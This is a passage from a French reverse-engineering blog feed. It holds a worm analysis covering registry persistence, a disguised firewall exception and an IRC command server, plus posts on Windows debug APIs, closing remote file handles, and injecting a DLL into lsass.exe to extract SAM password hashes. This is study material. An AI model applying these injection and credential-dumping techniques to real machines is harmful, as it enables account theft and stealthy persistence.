/&gt;Mais pourquoi?!&lt;br /&gt;Juste en dessous,  on crée une clé dans la base de registre Windows, a cette emplacement : « &lt;span style="font-size:85%;"&gt;HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\&lt;/span&gt; » sous le nom de FlashPlayer2..le petit vilain : ).&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kuo-yDTqvqc/R6Rvz6xG8GI/AAAAAAAAADM/qyt7BeEUR8E/s1600-h/CleFlashPlayer2.png"&gt;&lt;img style="cursor: pointer;" src="http://4.bp.blogspot.com/_kuo-yDTqvqc/R6Rvz6xG8GI/AAAAAAAAADM/qyt7BeEUR8E/s400/CleFlashPlayer2.png" alt="" id="BLOGGER_PHOTO_ID_5162374010612674658" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;On a bien compris, cette clé va permettre d’assurer l’exécution de l’exécutable lors des redémarrages de l’ordinateur.&lt;br /&gt;Une autre clé de créer, cette fois ci c’est ici : « &lt;span style="font-size:85%;"&gt;HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\&lt;br /&gt;Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List\\&lt;/span&gt; » avec pour nom le path vers l’exécutable, et pour valeur le full path concaténé avec « :*:Enabled:Flash Player2 » (d’où notre formatage de chaîne de caractère précédemment).&lt;br /&gt;Cette clé va permettre d’autoriser les connections de services.exe, le firewall Windows ne viendra donc pas afficher de message d‘alerte par exemple.&lt;br /&gt;Mais, une question devrait vous venir à l’esprit : le « :*:Enabled:Flash Player2 », que signifie t-il?&lt;br /&gt;Hum apparemment, c’est histoire de tromper l’utilisateur.&lt;br /&gt;Allez donc voir dans le panneau de configuration, dans les propriétés du firewall de Windows, dans les exceptions.. Que voit-on? Flash Player2 : ).&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_kuo-yDTqvqc/R6RwQqxG8HI/AAAAAAAAADU/gnYmnyTeeyo/s1600-h/ExceptionsFW.png"&gt;&lt;img style="cursor: pointer; width: 395px; height: 411px;" src="http://3.bp.blogspot.com/_kuo-yDTqvqc/R6RwQqxG8HI/AAAAAAAAADU/gnYmnyTeeyo/s400/ExceptionsFW.png" alt="" id="BLOGGER_PHOTO_ID_5162374504533913714" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;A présent, la dernier clé ajouté à l’emplacement : « HKEY_CLASSES_ROOT\\.htc ».&lt;br /&gt;On y créer une clé qui se prénomme : Content Type avec la valeur ryan1918.com.&lt;br /&gt;Bon, cette fois ci c’est plutôt explicite, on change le mime type des fichiers .htc.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_kuo-yDTqvqc/R6Rw6axG8II/AAAAAAAAADc/c6XGUMk3jAo/s1600-h/CleContentType.png"&gt;&lt;img style="cursor: pointer;" src="http://2.bp.blogspot.com/_kuo-yDTqvqc/R6Rw6axG8II/AAAAAAAAADc/c6XGUMk3jAo/s400/CleContentType.png" alt="" id="BLOGGER_PHOTO_ID_5162375221793452162" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Nous continuons, jusqu’à tomber sur une routine de décryptage de chaîne de caractères, on y trouve des messages en toutes langues du genre :  « c'est pas toi?!! » ou « emoticon with your face ».&lt;br /&gt;Ces messages correspondraient normalement a ceux envoyé par MSN afin d’assurer la propagation du ver.&lt;br /&gt;Nous arrivons à la fin, le plus juteux sûrement, une socket!&lt;br /&gt;En analysant un peu les routines, on constate que c’est enfaite une connection sur un serveur irc (asl.aldanma.net) sur le port tcp 7575.&lt;br /&gt;Cependant, le malware prend le soin de récupérer des informations sur lequel il est lancé, comme la langue utilisé (par le biais de GetLocaleInfo).&lt;br /&gt;Ensuite on formate une chaîne de caractères qui nous servira de pseudo sur le serveur, une chaîne du style : « [FRA-0H-avwooezrf ».&lt;br /&gt;C’est ici que la première partie de cet article s’arrête : ).&lt;br /&gt;J’ai décidé de traiter le dernier call, le plus intéressant et le plus long à analyser, la semaine prochain donc, cela vous laisse le temps de mener votre petit enquête vous aussi.&lt;br /&gt;&lt;br /&gt;Mais normalement.. Une question subsiste.&lt;br /&gt;Lors de l’injection de code dans l’explorer au début de notre malware, comment peut-on bien faire pour debugguer la routine lancée par le thread?&lt;br /&gt;Je vais vous filer une petite astuce.&lt;br /&gt;&lt;br /&gt;Tout d’abord, créer vous un programme bidon, une messagebox tout simplement.&lt;br /&gt;Nous allons l’ouvrir avec Olly, lancer le prog, et donc ne pas valider la messagebox, de sorte que le processus reste en debug.&lt;br /&gt;Ensuite, nous ouvrons notre malware sous Olly.&lt;br /&gt;Nous arrivons a l’OpenProcess(), nous allons alors modifié le PID du processus sur lequel on va créer le remote thread, de sorte a pouvoir le debugguer.&lt;br /&gt;On modifie donc le registre qui va être pusher pour l’appel a OpenProcess.&lt;br /&gt;Nous allons donc ouvrir notre processus ’bidon’, notre messagebox.&lt;br /&gt;Ensuite au moment du VirtualAllocEx, nous récupérons dans eax l’adresse sur laquelle on a écrit les données.&lt;br /&gt;&lt;br /&gt;On retourne du côté de notre messagebox sous Olly, et on s’en va rechercher cette adresse justement.&lt;br /&gt;« No Memory Address », bien évidemment Olly n’est pas au courant que nous avons allouer de la mémoire dans le processus (VirtualAllocExec), on va donc dans view, puis Memory.&lt;br /&gt;Nous recherchons donc notre adresse, et là magique ça fonctionne!&lt;br /&gt;A présent nous posons un break point sur la routine, et nous allons lancer le CreateRemoteThread à partir du Olly qui debug notre malware.&lt;br /&gt;Et BIM ça break!&lt;br /&gt;&lt;br /&gt;Voilà une petite astuce permettant de pouvoir tracer une routine créer dans un autre processus.&lt;br /&gt;&lt;br /&gt;Ce petit article, est donc terminé, en espérant avoir été clair, et vous avoir apporter quelque chose.&lt;br /&gt;Cette analyse, m'aura beaucoup apporter, que ce soit au niveau de la manipulation d'outil tel que OllyDbg et IDA, mais aussi sur le plan de la compréhension par le biais de dump asm.&lt;br /&gt;N'hésiter donc pas, à analyser un binaire, que ce soit un malware ou pas, on y trouve souvent des petites techniques intéréssantes au niveau coding.&lt;br /&gt;&lt;br /&gt;Je vous file un petit code permettant de décrypter des chaînes qui sont xorer avec une certaine clé ainsi qu‘un petit pack contenant les binaires et les .idbs (faites en bonne usage):&lt;br /&gt;-&lt;a href="http://overclok.free.fr/Codes/AnalyseMalwareNaked/deXOR.html"&gt;Dexor.c.&lt;/a&gt;&lt;br /&gt;-&lt;a href="http://overclok.free.fr/Codes/AnalyseMalwareNaked/Analyse_Malware_Naked.rar"&gt;Pack_Analyse_Naked.com.rar.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Cya.&lt;br /&gt;&lt;br /&gt;PS : Merci à Baboon!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5190877782491799334-8486224384054271885?l=0vercl0k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/8486224384054271885/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5190877782491799334&amp;postID=8486224384054271885' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/8486224384054271885'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/8486224384054271885'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/2008/02/3v1l-0r-n0t-part-i.html' title='3v1l 0r n0t ? - Part I.'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_kuo-yDTqvqc/R6Rtc6xG8BI/AAAAAAAAACk/s5VPYMhPvgc/s72-c/AnalysePeid_naked.com.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5190877782491799334.post-3286199062493276939</id><published>2008-01-21T11:43:00.000-08:00</published><updated>2008-12-09T22:04:06.488-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='debug event'/><category scheme='http://www.blogger.com/atom/ns#' term='Apis debug'/><category scheme='http://www.blogger.com/atom/ns#' term='GetThreadContext'/><category scheme='http://www.blogger.com/atom/ns#' term='debug'/><category scheme='http://www.blogger.com/atom/ns#' term='event debug'/><category scheme='http://www.blogger.com/atom/ns#' term='WaitForDebugEvent'/><category scheme='http://www.blogger.com/atom/ns#' term='debuggeur'/><category scheme='http://www.blogger.com/atom/ns#' term='rewrite eip'/><category scheme='http://www.blogger.com/atom/ns#' term='SetThreadContext'/><title type='text'>Les apis de debugs, c'est plus fort que toi.</title><content type='html'>Bonsoir à vous,&lt;br /&gt;c'est avec un peu de retard que je vous poste ce petit article de rien du tout.&lt;br /&gt;Ne vous attendez pas à quelque chose d'exceptionnel, il ne s'agit juste d'une introduction aux apis de debugs.&lt;br /&gt;Vous vous êtes jamais demandé, comment des désassembleurs/débuggeur tel que OllyDbg, fonctionnent-ils?&lt;br /&gt;Bon bah justement c'est avec cette batterie d'apis qu'ils fonctionnent.&lt;br /&gt;Je vais alors, vous expliquez le déroulement et l'utilisation de tels apis.&lt;br /&gt;&lt;br /&gt;Tous d'abord, nous avons deux choix. En effet, soit l'on attache notre processus debuggé à notre programme (qui sera en faite le 'débuggeur') ; ou l'on&lt;br /&gt;va créer directement notre processus (CreateProcess) avec les flags DEBUG_PROCESS ainsi que DEBUG_ONLY_THIS_PROCESS (afin de recevoir seulement les débugs évents relatif à notre processus et non à tous ses processus fils et co).&lt;br /&gt;Une fois l'une de ces actions réalisée, notre programme devient le débuggeur&lt;br /&gt;C'est à dire que grâce à la fonction WaitForDebugEvent, nous allons pouvoir stopper le ou les threads lorsqu'un 'debug évent' va être envoyé par le processus debuggé.&lt;br /&gt;La liste des debugs évents est disponible ici : &lt;a href="http://msdn2.microsoft.com/en-us/library/ms679308%28VS.85%29.aspx"&gt;http://msdn2.microsoft.com/en-us/library/ms679308(VS.85).aspx.&lt;/a&gt;&lt;br /&gt;Une fois le processus stoppé, libre à vous de modifier son contexte, à savoir ces registres ou encore de passer en mode 'single step', autrement dit 'pas à pas'.&lt;br /&gt;Ceci dit, une fois fait vos petites magouilles, on relance l'attende de debug évents avec ContinueDebugEvent.&lt;br /&gt;Voilà le fonctionnement du débuggeur.&lt;br /&gt;&lt;br /&gt;Vous devez savoir aussi, que si vous avez des opérations de réécriture sur des registres, vous devez spécifié le flag CONTEXT_CONTROL dans le membre ContextFlags de la structure CONTEXT.&lt;br /&gt;Si vous vous demandez de quoi est composé, la structure CONTEXT, la msdn me direz-vous, mais justement elle ne présente pas la structure c'est pour cela que je vous donne la déclaration tel quel, présente sur mon système.&lt;br /&gt;&lt;br /&gt;typedef struct _CONTEXT {&lt;br /&gt;DWORD ContextFlags;&lt;br /&gt;DWORD    Dr0;&lt;br /&gt;DWORD    Dr1;&lt;br /&gt;DWORD    Dr2;&lt;br /&gt;DWORD    Dr3;&lt;br /&gt;DWORD    Dr6;&lt;br /&gt;DWORD    Dr7;&lt;br /&gt;FLOATING_SAVE_AREA FloatSave;&lt;br /&gt;DWORD    SegGs;&lt;br /&gt;DWORD    SegFs;&lt;br /&gt;DWORD    SegEs;&lt;br /&gt;DWORD    SegDs;&lt;br /&gt;DWORD    Edi;&lt;br /&gt;DWORD    Esi;&lt;br /&gt;DWORD    Ebx;&lt;br /&gt;DWORD    Edx;&lt;br /&gt;DWORD    Ecx;&lt;br /&gt;DWORD    Eax;&lt;br /&gt;DWORD    Ebp;&lt;br /&gt;DWORD    Eip;&lt;br /&gt;DWORD    SegCs;&lt;br /&gt;DWORD    EFlags;&lt;br /&gt;DWORD    Esp;&lt;br /&gt;DWORD    SegSs;&lt;br /&gt;BYTE    ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];&lt;br /&gt;} CONTEXT;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Je voulais vous parlez aussi de la réalisation du mode 'singe step'.&lt;br /&gt;Celui-ci se réalise tout simplement en spécifiant un flag dans le membre EFlags, on appelle ce flag le 'Trap Bit'.&lt;br /&gt;Grosso modo, vous allez faire un GetThreadContext, spécifiez le flag dans le bon membre, SetThreadContext et ContinueDebugEvent avec le flag DBG_CONTINUE.&lt;br /&gt;Ensuite, à la prochaine instruction un nouveau debug évent va faire son apparition : EXCEPTION_SINGLE_STEP, si vous voulez continuer en mode pas à pas, vous re-spécifiez le flag et ainsi de suite.&lt;br /&gt;Voilà pour ce qui est de la théorie, place aux screenshots :&lt;br /&gt;&lt;br /&gt;Trouver l'adresse de la fonction à appeler :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kuo-yDTqvqc/R5T2hBydD5I/AAAAAAAAACc/BHw3bPOQ_XU/s1600-h/apidebug1.png"&gt;&lt;img style="cursor: pointer;" src="http://4.bp.blogspot.com/_kuo-yDTqvqc/R5T2hBydD5I/AAAAAAAAACc/BHw3bPOQ_XU/s400/apidebug1.png" alt="" id="BLOGGER_PHOTO_ID_5158018520522231698" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Rewrite de l'eip&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_kuo-yDTqvqc/R5T2UhydD4I/AAAAAAAAACU/mZMr32r7NgM/s1600-h/debugapi2.png"&gt;&lt;img style="cursor: pointer;" src="http://2.bp.blogspot.com/_kuo-yDTqvqc/R5T2UhydD4I/AAAAAAAAACU/mZMr32r7NgM/s400/debugapi2.png" alt="" id="BLOGGER_PHOTO_ID_5158018305773866882" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Et maintenant les codes :&lt;br /&gt;&lt;br /&gt;&lt;a href="http://overclok.free.fr/Codes/ApisDebug/debugz.html"&gt;DebugSingleStep.c.&lt;/a&gt;&lt;br /&gt;&lt;a href="http://overclok.free.fr/Codes/ApisDebug/rewriteEip.html"&gt;RewriteEIP.c.&lt;/a&gt;&lt;br /&gt;&lt;a href="http://overclok.free.fr/Codes/ApisDebug/cible.html"&gt;Cible.c.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;A présent, vous êtes apte à patcher un crackme en mémoire par exemple :)).&lt;br /&gt;Plus serieusement, l'outil "iinjj" developpé par Baboon utilise en partie ces apis, allez faire un tour sur son blog : &lt;a href="http://baboon.rce.free.fr/"&gt;http://baboon.ringzero.fr/.&lt;/a&gt;&lt;br /&gt;Voilà en espérant que ça pourra servir à quelques d'entres vous, sur ce bonne soirée et désolé du retard.&lt;br /&gt;&lt;br /&gt;PS: Vous pouvez aussi biensure posez vos breakpoints, en modifiant la mémoire avec WriteProcessMemory, et y posez une int 3, libre à votre immagination.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5190877782491799334-3286199062493276939?l=0vercl0k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/3286199062493276939/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5190877782491799334&amp;postID=3286199062493276939' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/3286199062493276939'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/3286199062493276939'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/2008/01/les-apis-de-debugs-cest-plus-fort-que.html' title='Les apis de debugs, c&apos;est plus fort que toi.'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_kuo-yDTqvqc/R5T2hBydD5I/AAAAAAAAACc/BHw3bPOQ_XU/s72-c/apidebug1.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5190877782491799334.post-1903961634235214323</id><published>2008-01-12T02:55:00.000-08:00</published><updated>2008-12-09T22:04:06.784-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows handle'/><category scheme='http://www.blogger.com/atom/ns#' term='file handle'/><category scheme='http://www.blogger.com/atom/ns#' term='www.0vercl0k.fr'/><category scheme='http://www.blogger.com/atom/ns#' term='CloseHandle'/><category scheme='http://www.blogger.com/atom/ns#' term='handle'/><title type='text'>Close a remote handle file.</title><content type='html'>Bonjour à tous,&lt;br /&gt;me revoilà après un petit peu d'absence ,tout cela par la faute des vacances scolaires et des fêtes bien sure.&lt;br /&gt;Trêve de plaisanterie ,en cette nouvelle année je reprend mon petit régime hebdomadaire.&lt;br /&gt;Aujourd'hui c'est un post de Ivanlef0u qui attire mon attention : Playing with windows handle.&lt;br /&gt;Dans ce post il explique comment récupérer le type d'un handle ainsi que son nom.&lt;br /&gt;Bien sure on utilise encore une fois la belle api windows ainsi que quelques fonctions ,venues tout droit de ntdll.&lt;br /&gt;Ceci dis j'ai voulus moi même tenter l'expérience ,en codant exactement ce qu'il avait déjà réalisé.&lt;br /&gt;Cela permet de mettre des petites choses au point ,être sois même confronté aux problèmes éventuels et j'en passe.&lt;br /&gt;Cependant j'ai décidé d'utilisé ce petit code afin de m'amuser avec les handles de type file.&lt;br /&gt;Notre but ,va donc être de fermer un handle file d'un processus !&lt;br /&gt;&lt;br /&gt;Comme vous le savez peut être ,chaque processus possèdent des handles ouvert sur des objets qui peuvent être :&lt;br /&gt;&lt;br /&gt;- des files&lt;br /&gt;- des events&lt;br /&gt;- des mutexs&lt;br /&gt;- des pipes et j'en passe&lt;br /&gt;Allez voir par ici ,notre fabuleuse msdn :  &lt;a href="http://msdn2.microsoft.com/en-us/library/ms724251.aspx"&gt;http://msdn2.microsoft.com/en-us/library/ms724251.aspx&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Je vais donc vous expliquez comment on va opérer :&lt;br /&gt;&lt;br /&gt;- Tous d'abord ,on doit récupérer des informations sur tous les handles ouvert sur le système ,on utilisera ntQuerySystemInformation avec l'argument SystemHandleInformation.&lt;br /&gt;- Ensuite on doit trier les structures ,afin de garder seulement celles qui concernent notre processus ,on compare donc le membre de la struct spécifiant le PID avec le PID de notre processus.&lt;br /&gt;- A présent on doit retrouver le type de handle auquel nous avons a faire ,on duplique notre handle afin de query des informations dessus ,duplicateHandle donc.&lt;br /&gt;- Une fois dupliqué nous pouvons utiliser NtQueryObject afin d'obtenir son type.&lt;br /&gt;- A présent ,si vous lisez le post Ivanlef0u il parle d'un bug au niveau des types files : et bien en effet on est obligé d'implanter une petite astuce permettant de savoir si oui ou non notre fonction est bloquante.&lt;br /&gt;On lance donc des threads qui s'occupe de récupérer le nom du handle ,seulement si il dépasse le timeout on les close.&lt;br /&gt;Le thread va donc s'occuper de remplir notre structure ,que nous traiterons dans la fonction qui l'appel.&lt;br /&gt;- On compare le nom avec le fichier que nous voulons fermer ,et on lance notre fonction CloseHandle.&lt;br /&gt;&lt;br /&gt;Cette fonction utilise un système que l'on a largement travaillé ,au fil de se blog : l'exécution de code bien sure.&lt;br /&gt;On créer un thread dans notre processus cible sur la fonction CloseHandle ,on lui passe un pointeur sur notre handle et BIM closed.&lt;br /&gt;&lt;br /&gt;Voilà en gros le petit code.&lt;br /&gt;Celui-ci est peut être assez 'velus' à lire ,des structures en pagailles et tous cela dans un seul fichier.&lt;br /&gt;Tous cela pour dire que n'hésiter pas à utiliser les headers et compagnie.&lt;br /&gt;Pour tester ce petit programme ,j'ai codé un petit fopen ,qui se charge de garder le fichier ouvert ,on peut alors lancer le close de notre handle.&lt;br /&gt;&lt;br /&gt;Place au concret ,voici un petit screenshot :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_kuo-yDTqvqc/R4ieAhydD3I/AAAAAAAAACM/ySQYQdrcg2I/s1600-h/Closehandle1.png"&gt;&lt;img style="cursor: pointer;" src="http://2.bp.blogspot.com/_kuo-yDTqvqc/R4ieAhydD3I/AAAAAAAAACM/ySQYQdrcg2I/s400/Closehandle1.png" alt="" id="BLOGGER_PHOTO_ID_5154543505432711026" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;et un petit dernier :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kuo-yDTqvqc/R4idyBydD2I/AAAAAAAAACE/KvOMyyOhOto/s1600-h/Closehandle2.png"&gt;&lt;img style="cursor: pointer;" src="http://4.bp.blogspot.com/_kuo-yDTqvqc/R4idyBydD2I/AAAAAAAAACE/KvOMyyOhOto/s400/Closehandle2.png" alt="" id="BLOGGER_PHOTO_ID_5154543256324607842" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Maintenant le principale ,les codes :&lt;br /&gt;&lt;br /&gt;-&lt;a href="http://overclok.free.fr/Codes/CloseRemoteHandle/CloseRemoteHandle.html"&gt;CloseAFuckingFileHandle.c&lt;/a&gt;.&lt;br /&gt;-&lt;a href="http://overclok.free.fr/Codes/CloseRemoteHandle/handleOpen.html"&gt;HandleOpen.c&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Voici quelques liens intéréssants :&lt;br /&gt;&lt;br /&gt;-Je vous conseille de telecharger le SDK ,elle contient de la doc concernant certaines apis natives.&lt;br /&gt;-ZwQueryInformationFile -&gt; &lt;a href="http://www.osronline.com/DDKx/kmarch/k111_9pyq.htm"&gt;http://www.osronline.com/DDKx/kmarch/k111_9pyq.htm&lt;/a&gt;.&lt;br /&gt;-Playing with windows Handles -&gt; &lt;a href="http://www.ivanlef0u.tuxfamily.org/?p=13"&gt;http://www.ivanlef0u.tuxfamily.org/?p=13&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;PS : un petit merci à wizardman pour sa générosité concernant le futur dns :) ainsi que Nam_K .&lt;br /&gt;PS2 : merci à blackclowns pour son zine ,vraiment technique un grand merci.&lt;br /&gt;PS3 : Le blog est actuellement disponible avec l'adresse suivant : &lt;a href="http://www.0vercl0k.fr/"&gt;www.0vercl0k.fr&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5190877782491799334-1903961634235214323?l=0vercl0k.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0vercl0k.blogspot.com/feeds/1903961634235214323/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5190877782491799334&amp;postID=1903961634235214323' title='7 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/1903961634235214323'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5190877782491799334/posts/default/1903961634235214323'/><link rel='alternate' type='text/html' href='http://0vercl0k.blogspot.com/2008/01/close-remote-handle-file.html' title='Close a remote handle file.'/><author><name>0vercl0k</name><uri>http://www.blogger.com/profile/04851747716024429465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_kuo-yDTqvqc/R4ieAhydD3I/AAAAAAAAACM/ySQYQdrcg2I/s72-c/Closehandle1.png' height='72' width='72'/><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5190877782491799334.post-8870149034403058741</id><published>2007-12-26T03:17:00.000-08:00</published><updated>2008-12-09T22:04:07.121-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='lsass.exe'/><category scheme='http://www.blogger.com/atom/ns#' term='sc0ubi'/><category scheme='http://www.blogger.com/atom/ns#' term='ntlm hash'/><category scheme='http://www.blogger.com/atom/ns#' term='ntlm'/><category scheme='http://www.blogger.com/atom/ns#' term='lm hash'/><category scheme='http://www.blogger.com/atom/ns#' term='SAM'/><category scheme='http://www.blogger.com/atom/ns#' term='lm'/><category scheme='http://www.blogger.com/atom/ns#' term='samsrv.dll'/><category scheme='http://www.blogger.com/atom/ns#' term='injection dll'/><category scheme='http://www.blogger.com/atom/ns#' term='s4mmy'/><category scheme='http://www.blogger.com/atom/ns#' term='pwdump'/><title type='text'>Manipulate lsass.exe for fun and profit.</title><content type='html'>Bonjour à tous,&lt;br /&gt;Alors déjà tout d'abord, un joyeux noël s'impose!&lt;br /&gt;En espérant que le barbu vous a comblé :].&lt;br /&gt;Revenons aux choses sérieuses.&lt;br /&gt;&lt;br /&gt;C'est le fichier SAM qui va nous intérésser aujourd'hui.&lt;br /&gt;Tout d'abord qui ne connais pas le fichier SAM?&lt;br /&gt;C'est enfaite le fichier qui va contenir, les informations de sessions : les mots de pass y compris.&lt;br /&gt;Il faut savoir que ce fichier est biensure, illisible, et inaccessible lorsque nous sommes sur notre session.&lt;br /&gt;Il est en quelque sorte 'verrouillé' par le systeme.&lt;br /&gt;Il existe donc deux alternatives pour nous :&lt;br /&gt;&lt;br /&gt;- L'on boot sur une distribution linux par exemple, où l'on va copier le sam sur un périphérique de stockage.&lt;br /&gt;                                  - On utilise un outil comme pwdump.&lt;br /&gt;                      &lt;br /&gt;Le fichier SAM contient les mots de pass encodé dans deux algorithme différent à savoir : LM hash et le NTLM hash.&lt;br /&gt;Parlons à présent de lsass.exe.&lt;br /&gt;C'est un processus natif de windows depuis Windows 2000 me semble t-il, lsass tout d'abord signifie "Local Security Authority Subsystem Service".&lt;br /&gt;Autrement dit ce processus va permettre de gerer la connection aux sessions localement.&lt;br /&gt;C'est en quelque sorte le serveur local d'authentification de windows.&lt;br /&gt;Bon certains d'entres vous, pourraient se demander pourquoi on injecte dans lsass.exe et non dans un autre processus system?Comme svchost.exe.&lt;br /&gt;J'ai moi même tenter d'injecter dans svchost.exe, mais sans réussite, je serais donc tenter de dire que les fonctions utilisées sont résérvées à lsass.exe ?&lt;br /&gt;Je vous tiens au courant, lorsque j'en serais plus -&gt; c'est qu'enfaite le service manipulant les users locaux est 'dirigé' par lsass.exe voir lien en bas de page.&lt;br /&gt;Le mode opératoire est donc simple :&lt;br /&gt;&lt;br /&gt;- Nous allons tout d'abord donner les droits de debugs à notre executable.&lt;br /&gt;                          - Notre executable ira injecter une dll dans lsass.exe, c'est pour cela qui nous faut le debug privilege, afin d'injecter lsass.exe&lt;br /&gt;                          - A présent à la dll de jouer !&lt;br /&gt;                          - Elle va appeler successivement des apis exportés par samsrv.dll, qui seront ni plus ni moins des fonctions utilisés afin de 'rentrer' en contact avec le SAM.&lt;br /&gt;&lt;br /&gt;Au final nous aurons 'manipuler' lsass.exe afin de pouvoir récupérer la liste des users, ainsi que leurs mot de pass hashés dans les deux algorythme cités plus haut.&lt;br /&gt;Pour mener à bien ce projet, je me suis permis d'analyser les sources de pwdump un petit peu : ça permet de savoir un peu où l'on va.&lt;br /&gt;Ce que je vous recommande aussi, c'est d'éviter de faire des tests sur votre propre système, car lsass.exe en cas de problème va vous faire redemarer.&lt;br /&gt;Je vous conseille alors l'utilisation de machine virtuel, souvent abrégée 'vm' afin de pouvoir mener à bien vos tests !&lt;br /&gt;Les quelques nostalgiques d'entre nous, se rappelleront du célèbre ver Sasser qui utilisait une faille présente dans le processus lsass.exe justement.&lt;br /&gt;Enfin bref, je vous présente une petite vidéo réalisé par mes soins afin d'illustrer un peu cette article.&lt;br /&gt;Elle montre que mon petit outil fonctionne à merveille :).&lt;br /&gt;Voici le lien : &lt;a href="http://overclok.free.fr/Codes/s4mmy/s4mmy.wmv"&gt;s4mmy.wmv&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Je vous présente aussi un petit screenshot :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_kuo-yDTqvqc/R3I4rmlp2VI/AAAAAAAAAB0/A6i9ZOhGQZ0/s1600-h/s4mmy.png"&gt;&lt;img style="cursor: pointer;" src="http://4.bp.blogspot.com/_kuo-yDTqvqc/R3I4rmlp2VI/AAAAAAAAAB0/A6i9ZOhGQZ0/s400/s4mmy.png" alt="" id="BLOGGER_PHOTO_ID_5148239645781907794" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Et un autre :&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_kuo-yDTqvqc/R3I47Glp2WI/AAAAAAAAAB8/3QdiAIrQRyg/s1600-h/s4mmy2.png"&gt;&lt;img style="cursor: pointer;" 